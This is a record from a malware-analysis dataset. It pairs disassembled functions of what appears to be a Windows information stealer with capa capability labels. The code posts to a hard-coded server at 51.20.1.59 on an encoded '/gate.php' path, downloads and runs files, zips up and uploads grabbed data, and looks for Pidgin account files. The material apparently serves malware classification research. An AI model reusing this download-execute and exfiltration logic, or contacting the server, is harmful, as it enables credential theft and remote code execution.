joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4057db
Capabilities:
Enumerate processes on remote desktop session host
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0xa8
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0x70], eax
mov eax, dword [ebp + 0x7c]
push ebx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
xor ebx, ebx
push 1
push ebx
push ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x2c], ebx
call sub.WTSAPI32.dll_WTSEnumerateProcessesA
test eax, eax
je 0x4058de
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x18], ebx
jbe 0x4058de
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
xor esi, esi
push 0x7f
lea eax, [ebp - 0xf]
push ebx
push eax
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x10], bl
call fcn.0055bfc0
add esp, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x18], ebx
jbe 0x4058ca
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
push dword [ecx + eax + 8]
push dword [esi + eax + 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x40586f
inc dword [ebp - 0x1c]
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x28], 0x10
cmp eax, dword [ebp - 0x18]
jb 0x405854
cmp dword [ebp - 0x1c], 1
jne 0x4058ca
mov eax, dword [ebp - 0x14]
push dword [esi + eax + 8]
call edi
test eax, eax
je 0x4058ca
mov eax, dword [ebp - 0x14]
push dword [esi + eax + 8]
lea eax, [ebp - 0x10]
push 0x5d42e8
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push ebx
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x10]
push eax
call edi
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x2c], 1
inc dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
add esi, 0x10
cmp eax, dword [ebp - 0x18]
jb 0x405831
pop edi
pop esi
cmp dword [ebp - 0x14], ebx
pop ebx
je 0x4058ec
push dword [ebp - 0x14]
call sub.WTSAPI32.dll_WTSFreeMemory
mov ecx, dword [ebp + 0x70]
mov eax, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.0055a67a
add ebp, 0x74
leave
ret
Function at 0x405c08
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0x98], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x77]
push ebx
push eax
mov esi, ecx
mov byte [ebp - 0x78], bl
call fcn.0055bfc0
mov byte [ebp + 0x88], bl
xor eax, eax
lea edi, [ebp + 0x89]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosw word es:[edi], ax
push 0x5d4434
push esi
stosb byte es:[edi], al
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], esi
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov esi, eax
jmp 0x405cf0
mov eax, esi
sub eax, dword [ebp - 0x7c]
push eax
push dword [ebp - 0x7c]
lea eax, [ebp - 0x78]
push eax
call fcn.0055bc50
push dword [ebp - 0x80]
lea eax, [ebp + 0x88]
push str.file_d.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push ebx
push ebx
lea eax, [ebp + 0x88]
push eax
lea eax, [ebp - 0x78]
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
push ebx
push ebx
push ebx
lea eax, [ebp + 0x88]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
add esi, 3
push 0x5d4434
push esi
mov dword [ebp - 0x7c], esi
call dword [sym.imp.SHLWAPI.dll_StrStrA]
push 0x100
mov esi, eax
lea eax, [ebp - 0x78]
push ebx
push eax
call fcn.0055bfc0
xor eax, eax
lea edi, [ebp + 0x88]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
inc dword [ebp - 0x80]
stosd dword es:[edi], eax
cmp esi, ebx
jne 0x405c6c
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
add ebp, 0x9c
leave
ret
Function at 0x405d10
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0x18c], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0xff
lea eax, [ebp + 0x8d]
push ebx
push eax
mov byte [ebp + 0x8c], bl
call fcn.0055bfc0
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push str.Client
call dword [sym.imp.WININET.dll_InternetOpenA]
push 1
push ebx
push 3
push ebx
push ebx
mov dword [ebp - 0x78], eax
push 0x50
mov esi, 0x100
lea eax, [ebp - 0x74]
push esi
push eax
mov eax, str.51.20.1.59
call fcn.00403379
pop ecx
pop ecx
push eax
push dword [ebp - 0x78]
call dword [sym.imp.WININET.dll_InternetConnectA]
push 1
push ebx
push ebx
push ebx
mov dword [ebp - 0x7c], eax
push ebx
lea eax, [ebp - 0x74]
push esi
push eax
mov eax, str.L2dhdGUucGhw
call fcn.00403379
pop ecx
pop ecx
push eax
push str.POST
push dword [ebp - 0x7c]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push ebx
push ebx
push ebx
mov edi, eax
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
lea eax, [ebp - 0x80]
push eax
push esi
lea eax, [ebp + 0x8c]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp + 0x8c]
call fcn.00405c08
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
test eax, eax
je 0x405dfe
push dword [ebp - 0x7c]
call esi
test eax, eax
je 0x405dfe
push dword [ebp - 0x78]
call esi
test eax, eax
je 0x405dfe
xor eax, eax
inc eax
jmp 0x405e00
xor eax, eax
mov ecx, dword [ebp + 0x18c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
add ebp, 0x190
leave
ret
Function at 0x4060e9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5b8
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push 0x1ff
mov dword [ebp - 0x5b0], eax
lea eax, [ebp - 0x5ab]
push ebx
push eax
mov byte [ebp - 0x5ac], bl
call fcn.0055bfc0
add esp, 0xc
push 0x7f
lea eax, [ebp - 0xab]
push ebx
push eax
mov byte [ebp - 0xac], bl
call fcn.0055bfc0
add esp, 0xc
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x28], bl
lea edi, [ebp - 0x27]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x2ff
stosb byte es:[edi], al
lea eax, [ebp - 0x3ab]
push ebx
push eax
mov byte [ebp - 0x3ac], bl
call fcn.0055bfc0
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrA]
add esp, 0xc
mov esi, 0x5d4480
push esi
push dword [ebp - 0x5b0]
call edi
mov dword [ebp - 0x5b4], eax
cmp eax, ebx
je 0x4062e4
sub eax, dword [ebp - 0x5b0]
push eax
push dword [ebp - 0x5b0]
lea eax, [ebp - 0xac]
push eax
call fcn.0055bc50
mov eax, dword [ebp - 0x5b4]
add esp, 0xc
add eax, 3
push esi
push eax
mov dword [ebp - 0x5b0], eax
call edi
mov esi, eax
cmp esi, ebx
je 0x4062e4
sub eax, dword [ebp - 0x5b0]
push eax
push dword [ebp - 0x5b0]
lea eax, [ebp - 0x5ac]
push eax
call fcn.0055bc50
add esp, 0xc
add esi, 3
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.0055bc50
lea eax, [ebp - 0x28]
add esp, 0xc
push eax
call fcn.0055a9b3
cmp eax, ebx
pop ecx
mov dword [ebp - 0x5b0], eax
jle 0x406210
cmp eax, 3
jle 0x40621a
mov dword [ebp - 0x5b0], 2
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push str.DESKTOP
lea eax, [ebp - 0xac]
push eax
call esi
test eax, eax
jne 0x406249
lea eax, [ebp - 0x3ac]
push eax
push ebx
push ebx
push 0x8000
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
jmp 0x4062c1
push str.DOCUMENTS
lea eax, [ebp - 0xac]
push eax
call esi
test eax, eax
jne 0x40626b
lea eax, [ebp - 0x3ac]
push eax
push ebx
push ebx
push 0x8005
jmp 0x406240
push str.DOWNLOADS
lea eax, [ebp - 0xac]
push eax
call esi
test eax, eax
jne 0x4062e4
lea eax, [ebp - 0x3ac]
push eax
push ebx
push ebx
push 0x8005
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xor edi, edi
lea esi, [ebp - 0x3ac]
cmp byte [ebp - 0x3ac], bl
je 0x4062c1
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindNextComponentA]
mov esi, eax
cmp edi, 2
jne 0x4062bc
push str.Downloads
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
inc edi
cmp byte [esi], bl
jne 0x4062a2
push dword [ebp - 0x5b0]
or dword [0x5ea910], 0xffffffff
lea eax, [ebp - 0x5ac]
push eax
lea eax, [ebp - 0x3ac]
push eax
call fcn.00405e18
add esp, 0xc
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
leave
ret
Function at 0x4062f3
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb14
mov eax, dword [0x5e2ec0]
xor eax, esp
mov dword [esp + 0xb10], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x7ff
lea eax, [esp + 0x31d]
push ebx
push eax
mov byte [esp + 0x324], bl
call fcn.0055bfc0
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push str.Client
call dword [sym.imp.WININET.dll_InternetOpenA]
push 1
push ebx
push 3
push ebx
push ebx
mov dword [esp + 0x24], eax
push 0x50
mov esi, 0x100
lea eax, [esp + 0x30]
push esi
push eax
mov eax, str.51.20.1.59
nop
nop
nop
nop
nop
pop ecx
pop ecx
push eax
push dword [esp + 0x2c]
call dword [sym.imp.WININET.dll_InternetConnectA]
push 1
push ebx
push ebx
push ebx
mov dword [esp + 0x1c], eax
push ebx
lea eax, [esp + 0x2c]
push esi
push eax
mov eax, str.L2dhdGUucGhw
call fcn.00403379
pop ecx
pop ecx
push eax
push str.POST
push dword [esp + 0x28]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
lea eax, [esp + 0x18]
push esi
push eax
mov eax, str.Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07
call fcn.00403379
pop ecx
pop ecx
push 7
push str.grbr:_
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x24]
push eax
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
lea eax, [esp + 0x14]
push eax
push 0x800
lea eax, [esp + 0x320]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
test eax, eax
je 0x406402
push dword [esp + 0xc]
call esi
test eax, eax
je 0x406402
push dword [esp + 0x10]
call esi
push 0x1ff
lea eax, [esp + 0x11d]
push ebx
push eax
mov byte [esp + 0x124], bl
call fcn.0055bfc0
add esp, 0xc
lea eax, [esp + 0x318]
mov dword [esp + 0xc], eax
mov dword [0x5ea2e4], ebx
cmp dword [esp + 0x14], ebx
jbe 0x4064c0
push str.Grabber.zip
call fcn.0046161c
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrA]
mov dword [0x5ea914], eax
lea eax, [esp + 0x31c]
mov dword [esp], 0x5d44fc
push eax
jmp 0x4064ad
mov eax, esi
sub eax, dword [esp + 0xc]
push eax
push dword [esp + 0x10]
lea eax, [esp + 0x120]
push eax
call fcn.0055bc50
lea eax, [esp + 0x124]
add esp, 0xc
add esi, 3
push eax
mov dword [esp + 0x10], esi
call fcn.004060e9
mov dword [esp], 0x200
lea eax, [esp + 0x11c]
push ebx
push eax
call fcn.0055bfc0
add esp, 0xc
push 0x5d44fc
push esi
call edi
mov esi, eax
cmp esi, ebx
jne 0x406460
mov edi, dword [0x5ea914]
call fcn.0046175a
mov ecx, dword [esp + 0xb1c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0055a67a
mov esp, ebp
pop ebp
ret
Function at 0x4064d5
Capabilities:
Connect to http server
Create http request
Get file size
Read and send data from client to server
Read file on windows
Send data
Send http request

Disassembly:
push ebp
lea ebp, [esp - 0xa4]
sub esp, 0x124
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0xa0], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x5f]
mov edi, ecx
push ebx
push eax
mov dword [ebp - 0x64], edi
mov byte [ebp - 0x60], bl
call fcn.0055bfc0
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push str.Client
call dword [sym.imp.WININET.dll_InternetOpenA]
push 1
push ebx
push 3
push ebx
push ebx
mov dword [ebp - 0x74], eax
push 0x50
mov esi, 0x100
lea eax, [ebp - 0x60]
push esi
push eax
mov eax, str.51.20.1.59
call fcn.00403379
pop ecx
pop ecx
push eax
push dword [ebp - 0x74]
call dword [sym.imp.WININET.dll_InternetConnectA]
push 1
push ebx
push ebx
push ebx
mov dword [ebp - 0x7c], eax
push ebx
lea eax, [ebp - 0x60]
push esi
push eax
mov eax, str.L2dhdGUucGhw
call fcn.00403379
pop ecx
pop ecx
push eax
push str.POST
push dword [ebp - 0x7c]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push ebx
push 0x80
push 3
push ebx
push 1
push connect
push str.t.zip
mov dword [ebp - 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x78], eax
cmp eax, 0xffffffff
je 0x406679
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x68], eax
cmp eax, ebx
je 0x406679
cmp eax, 0xffffffff
je 0x406679
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call edi
mov ecx, dword [ebp - 0x68]
lea eax, [eax + ecx + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x6c], eax
cmp eax, ebx
je 0x406679
push dword [ebp - 0x64]
call edi
push eax
push dword [ebp - 0x64]
push dword [ebp - 0x6c]
call fcn.0055bc50
add esp, 0xc
push ebx
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 0x68]
push dword [ebp - 0x64]
call edi
add eax, dword [ebp - 0x6c]
push eax
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x406679
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x64]
call edi
add eax, dword [ebp - 0x68]
mov ebx, str.Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07
push eax
push dword [ebp - 0x6c]
lea eax, [ebp - 0x60]
push esi
push eax
mov eax, ebx
call fcn.00403379
pop ecx
pop ecx
push eax
call edi
push eax
lea eax, [ebp - 0x60]
push esi
push eax
mov eax, ebx
call fcn.00403379
pop ecx
pop ecx
push eax
push dword [ebp - 0x70]
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push dword [ebp - 0x70]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
test eax, eax
je 0x406679
push dword [ebp - 0x7c]
call esi
test eax, eax
je 0x406679
push dword [ebp - 0x74]
call esi
test eax, eax
je 0x406679
xor eax, eax
inc eax
jmp 0x40667b
xor eax, eax
mov ecx, dword [ebp + 0xa0]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
add ebp, 0xa4
leave
ret
Function at 0x406693
Capabilities:
Get hostname

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x3c8
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push ebx
push esi
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x14b]
push ebx
push eax
mov byte [ebp - 0x14c], bl
call fcn.0055bfc0
push 0x3f
lea eax, [ebp + 0x35]
push ebx
push eax
mov byte [ebp + 0x34], bl
call fcn.0055bfc0
push 0x7f
lea eax, [ebp - 0x4b]
push ebx
push eax
mov byte [ebp - 0x4c], bl
call fcn.0055bfc0
lea esi, [ebp + 0x34]
call fcn.00404c8d
lea esi, [ebp - 0x4c]
call fcn.00404d0e
push 0x1ff
lea eax, [ebp - 0x34b]
push ebx
push eax
mov byte [ebp - 0x34c], bl
call fcn.0055bfc0
add esp, 0x30
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x34c]
push eax
mov dword [ebp - 0x350], 0x200
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x34c]
push eax
push dword [0x5e9a40]
lea eax, [ebp - 0x14c]
push dword [0x5ea2b4]
push dword [0x5ea25c]
push dword [0x5e9a4c]
push dword [0x5e9a48]
push dword [0x5e9a44]
push dword [0x5e9a3c]
push 0x100
push eax
mov eax, str.MS42
call fcn.00403379
pop ecx
pop ecx
push eax
mov eax, esi
push eax
lea eax, [ebp + 0x34]
push eax
push str._s___s___s___d___d___d___d___d___d___d___s__
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [ebp + 0x74]
add esp, 0x34
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
add ebp, 0x78
leave
ret
Function at 0x406ac1
Capabilities:
Check if file exists
Delete file

Disassembly:
push ebp
lea ebp, [esp - 0x288]
sub esp, 0x308
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0x284], eax
push ebx
xor ebx, ebx
cmp dword [0x5ea258], ebx
jne 0x406aec
call fcn.00403a70
push 0x2ff
lea eax, [ebp - 0x7b]
push ebx
push eax
mov byte [ebp - 0x7c], bl
call fcn.0055bfc0
add esp, 0xc
push str..purple_accounts.xml
push 0x5e9c58
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x406b7b
push esi
push edi
push ebx
push 0x80
push 1
push ebx
push ebx
push 0x40000000
mov esi, str.pidgin.log
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x406b79
lea eax, [ebp - 0x7c]
push eax
push edi
call fcn.0040679c
pop ecx
pop ecx
mov dword [ebp - 0x80], eax
push edi
cmp eax, ebx
jne 0x406b6a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x406b79
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x80]
add dword [0x5ea918], eax
pop edi
pop esi
mov ecx, dword [ebp + 0x284]
xor ecx, ebp
pop ebx
call fcn.0055a67a
add ebp, 0x288
leave
ret
Function at 0x40a92b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
xor ebx, ebx
push ebx
push 0x14
mov dword [eax], ebx
call fcn.00408c1f
mov esi, eax
pop ecx
pop ecx
cmp esi, ebx
jne 0x40a94c
push 7
pop eax
jmp 0x40a9be
push edi
cmp dword [0x5e427c], ebx
je 0x40a995
mov eax, dword [0x5e437c]
cmp eax, ebx
je 0x40a968
push 0xc8
call eax
pop ecx
jmp 0x40a96a
xor eax, eax
cmp eax, ebx
jne 0x40a995
mov eax, dword [ebp + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esi + 0xc], eax
lea eax, [esi + 4]
push eax
push ebx
push esi
push 0x40a90e
push ebx
push ebx
call fcn.0055b3e8
add esp, 0x18
mov dword [esi], eax
cmp eax, ebx
jne 0x40a99e
xor eax, eax
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop edi
cmp dword [esi + 8], ebx
jne 0x40a9b7
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push dword [ebp + 0x10]
mov dword [esi + 4], eax
call dword [ebp + 0xc]
pop ecx
mov dword [esi + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [eax], esi
xor eax, eax
pop esi
pop ebx
pop ebp
ret

Function at 0x411d0f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push edi
mov edi, eax
lea eax, [esi + 0x88]
mov ebx, ecx
mov ecx, dword [eax]
test ecx, ecx
je 0x411d35
mov edx, dword [ecx + 0x10]
mov dword [eax], edx
and dword [ecx + 0x10], 0
mov dword [edi], ecx
mov edi, dword [ecx + 8]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
jmp 0x411d8f
movzx eax, word [esi + 0x8c]
add eax, 0x28
push 0
push eax
call fcn.00408f30
pop ecx
pop ecx
mov ecx, eax
mov dword [edi], ecx
test ecx, ecx
jne 0x411d78
push dword [esp + 0xc]
mov eax, dword [esi + 0x98]
push ecx
cdq
dec ebx
push ebx
push edx
push eax
call fcn.0055e200
push edx
push eax
mov eax, dword [esi + 0x3c]
call fcn.00408525
add esp, 0xc
push 7
pop eax
jmp 0x411d9e
lea eax, [ecx + 0x28]
mov dword [ecx + 8], eax
push 0x20
pop eax
mov word [ecx + 0x1c], ax
xor eax, eax
inc eax
mov word [ecx + 0x1e], ax
mov dword [ecx + 0x14], esi
mov eax, dword [esp + 0xc]
mov dword [ecx + 4], eax
mov dword [ecx + 0x18], ebx
inc dword [esi + 0x78]
xor eax, eax
pop edi
pop ebx
ret
Function at 0x42ddee
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
and dword [esp + 0x10], 0
and dword [esp + 8], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], eax
mov dword [esp + 0xc], edi
test edi, edi
je 0x42df87
jmp 0x42de21
mov edi, dword [esp + 0xc]
mov ecx, dword [ebp + 8]
push 0
push 0x4c
call fcn.00408fec
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42df87
push dword [ebp + 0x10]
mov ebx, dword [edi]
push dword [ebp + 8]
call fcn.0042daea
push dword [ebp + 0x10]
mov dword [esi], eax
push dword [edi + 0x20]
push dword [ebp + 8]
call fcn.0042dbfe
mov dword [esi + 0x20], eax
mov eax, dword [edi + 0x24]
add esp, 0x14
test eax, eax
je 0x42de76
push 0
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.0042d7da
add esp, 0x10
jmp 0x42de78
xor eax, eax
push dword [ebp + 0x10]
mov dword [esi + 0x24], eax
push dword [ebp + 8]
mov ebx, dword [edi + 0x28]
call fcn.0042daea
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x2c]
pop ecx
pop ecx
test eax, eax
je 0x42dea8
push 0
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.0042d7da
add esp, 0x10
jmp 0x42deaa
xor eax, eax
push dword [ebp + 0x10]
mov dword [esi + 0x2c], eax
push dword [ebp + 8]
mov ebx, dword [edi + 0x30]
call fcn.0042daea
mov dword [esi + 0x30], eax
mov al, byte [edi + 4]
mov byte [esi + 4], al
mov eax, dword [esp + 0x1c]
xor ebx, ebx
mov dword [esi + 0x38], eax
mov dword [esi + 0x34], ebx
mov eax, dword [edi + 0x3c]
pop ecx
pop ecx
cmp eax, ebx
je 0x42deeb
push ebx
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.0042d7da
add esp, 0x10
jmp 0x42deed
xor eax, eax
push dword [ebp + 8]
mov dword [esi + 0x3c], eax
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov eax, dword [edi + 8]
or dword [esi + 0x18], 0xffffffff
or dword [esi + 0x1c], 0xffffffff
and eax, 0xffffffdf
mov dword [esi + 8], eax
mov ax, word [edi + 6]
mov word [esi + 6], ax
mov edi, dword [edi + 0x40]
call fcn.0042da22
and dword [esi + 0x44], 0
mov ebx, dword [esp + 0x10]
and dword [esp + 0x18], 0
mov dword [esi + 0x40], eax
mov edi, dword [ebx + 0x48]
pop ecx
lea eax, [esp + 0x14]
jmp 0x42df52
push 0
push dword [ebp + 8]
mov eax, edi
call fcn.004575cc
pop ecx
pop ecx
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
test eax, eax
je 0x42df5a
mov edi, dword [edi + 0x18]
add eax, 0x18
mov dword [esp + 0x10], eax
test edi, edi
jne 0x42df34
mov eax, dword [esp + 0x14]
mov dword [esi + 0x48], eax
mov eax, dword [ebx + 0x14]
mov dword [esi + 0x14], eax
mov eax, dword [esp + 0x18]
mov dword [eax], esi
mov ebx, dword [ebx + 0x34]
lea eax, [esi + 0x34]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], esi
mov dword [esp + 0xc], ebx
test ebx, ebx
jne 0x42de1d
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x431490
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push dword [ebp + 0xc]
mov esi, str.sqlite_master
push dword [ebp + 8]
mov ebx, eax
push esi
push dword [ebp + 8]
push str.SELECT_1_FROM___w_._s_WHERE_name_NOT_LIKE_sqlite____AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d_NULL
call fcn.004347eb
add esp, 0x14
cmp dword [ebp + 0xc], 0
jne 0x4314ca
push dword [ebp + 8]
push esi
push str.SELECT_1_FROM_temp._s_WHERE_name_NOT_LIKE_sqlite____AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1_NULL
call fcn.004347eb
add esp, 0xc
pop esi
pop ebx
pop ebp
ret
Function at 0x45d2f2
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [0x5ea9cc]
imul eax, eax, 0x8088405
inc eax
mov dword [0x5ea9cc], eax
mul dword [esp + 4]
mov eax, edx
mov ecx, edx
sar ecx, 0x1f
ret

Function at 0x45d30f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov bl, byte [esi]
push edi
mov edi, esi
xor edx, edx
jmp 0x45d33f
mov al, byte [edi + 1]
call fcn.0045d2bf
mov dword [ebp - 4], eax
mov al, bl
call fcn.0045d2bf
mov ecx, dword [ebp - 4]
shl al, 4
add cl, al
mov byte [edx + esi], cl
inc edx
inc edi
inc edi
mov bl, byte [edi]
test bl, bl
jne 0x45d31d
lea edi, [edx - 4]
test edi, edi
jge 0x45d351
xor eax, eax
jmp 0x45d415
xor ebx, ebx
mov dword [0x5ea9cc], 0xcf671
test edi, edi
jle 0x45d388
push 8
call fcn.0045d2f2
movzx edx, byte [ebx + esi]
pop ecx
push 8
mov dword [ebp - 4], eax
pop ecx
sub ecx, eax
mov eax, edx
shr eax, cl
mov ecx, dword [ebp - 4]
shl dl, cl
or al, dl
mov byte [ebx + esi], al
inc ebx
cmp ebx, edi
jl 0x45d361
mov dword [0x5ea9cc], 0x3039
mov dword [ebp - 4], 0x100
push edi
call fcn.0045d2f2
push edi
mov ebx, eax
call fcn.0045d2f2
pop ecx
add eax, esi
dec dword [ebp - 4]
pop ecx
lea ecx, [ebx + esi]
mov bl, byte [eax]
mov dl, byte [ecx]
mov byte [ecx], bl
mov byte [eax], dl
jne 0x45d399
xor ebx, ebx
mov dword [0x5ea9cc], 0xa564
test edi, edi
jle 0x45d3de
push 0x100
call fcn.0045d2f2
xor byte [ebx + esi], al
inc ebx
cmp ebx, edi
pop ecx
jl 0x45d3cb
xor ebx, ebx
mov dword [0x5ea9cc], 0xd431
test edi, edi
jle 0x45d401
push 0x100
call fcn.0045d2f2
sub byte [ebx + esi], al
inc ebx
cmp ebx, edi
pop ecx
jl 0x45d3ee
push edi
push esi
push dword [ebp + 8]
mov byte [edi + esi], 0
call fcn.0055bc50
xor eax, eax
add esp, 0xc
inc eax
pop edi
pop ebx
leave
ret